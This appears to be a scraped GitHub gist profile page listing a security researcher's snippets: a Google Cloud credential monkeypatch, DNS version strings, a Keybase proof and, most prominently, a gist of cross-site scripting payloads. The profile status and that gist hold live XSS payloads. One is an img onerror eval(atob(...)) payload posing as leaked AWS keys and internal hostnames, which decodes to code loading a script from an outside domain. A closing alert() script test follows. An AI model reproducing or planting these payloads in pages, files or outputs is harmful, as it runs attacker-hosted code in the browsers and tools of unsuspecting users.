Skip to content

Instantly share code, notes, and snippets.

View mandatoryprogrammer's full-sized avatar
💭
"><script src=https://y.vg></script>

Matthew Bryant mandatoryprogrammer

💭
"><script src=https://y.vg></script>
View GitHub Profile
@mandatoryprogrammer
mandatoryprogrammer / moneypatch.py
Created September 12, 2018 21:45
Google Cloud Python API/Library Use Environment Variable Instead of JSON for Service Credentials
import json
import os
# Imports the Google Cloud client library
from google.cloud import storage
# Need this for the monkeypatch
from google.oauth2 import service_account
# Patch in a new method for loading a dict
@classmethod
@mandatoryprogrammer
mandatoryprogrammer / Twitter U2F Yubikey Instructions.md
Last active June 27, 2018 00:04
Configuring Twitter's New Yubikey U2F Safely

test

test
@mandatoryprogrammer
mandatoryprogrammer / gist:a6309480cd6ff9c4447bc4fe406893d0
Created September 10, 2017 09:55
Nameserver "What is your nameserver's version?" Responses
In God We Trust.
"9.2.4
-
.
.... Yes ?
.....
.do ccTLD http://www.nic.do
.il ccTLD registry, version alpha-charlie-fox-tango
.jprs DNS
.pr ccTLD http://www.nic.pr
### Keybase proof
I hereby claim:
* I am mandatoryprogrammer on github.
* I am mandatory (https://keybase.io/mandatory) on keybase.
* I have a public key whose fingerprint is 40B7 D843 2D62 64E0 51CC EF31 5BA8 6246 7160 FECE
To claim this, I am signing this object:
@mandatoryprogrammer
mandatoryprogrammer / gist:d7de8a6d787c81971efc
Created October 20, 2015 23:38
<img src=x onerror=eval(atob(this.id)) id=dmFyIHBheWxvYWQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cGF5bG9hZC5zcmM9Ii8vbGgubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGF5bG9hZCk7>
AWS_SECRET_KEY=<img src=x onerror=eval(atob(this.id)) id=dmFyIHBheWxvYWQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cGF5bG9hZC5zcmM9Ii8vbGgubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGF5bG9hZCk7>
AWS_ACCESS_KEY=<img src=x onerror=eval(atob(this.id)) id=dmFyIHBheWxvYWQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cGF5bG9hZC5zcmM9Ii8vbGgubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGF5bG9hZCk7>
corp.google.com=<img src=x onerror=eval(atob(this.id)) id=dmFyIHBheWxvYWQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cGF5bG9hZC5zcmM9Ii8vbGgubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGF5bG9hZCk7>
corp.yahoo.com=<img src=x onerror=eval(atob(this.id)) id=dmFyIHBheWxvYWQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cGF5bG9hZC5zcmM9Ii8vbGgubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGF5bG9hZCk7>
corp.reddit.com=<img src=x onerror=eval(atob(this.id)) id=dmFyIHBheWxvYWQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cGF5bG9hZC5zcmM9Ii8vbGgubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGF5bG9hZCk7>
google.internal=<img src=x onerror=eval(atob(t
<script>alert('If this works you\'re a bad programmer ;)')</script>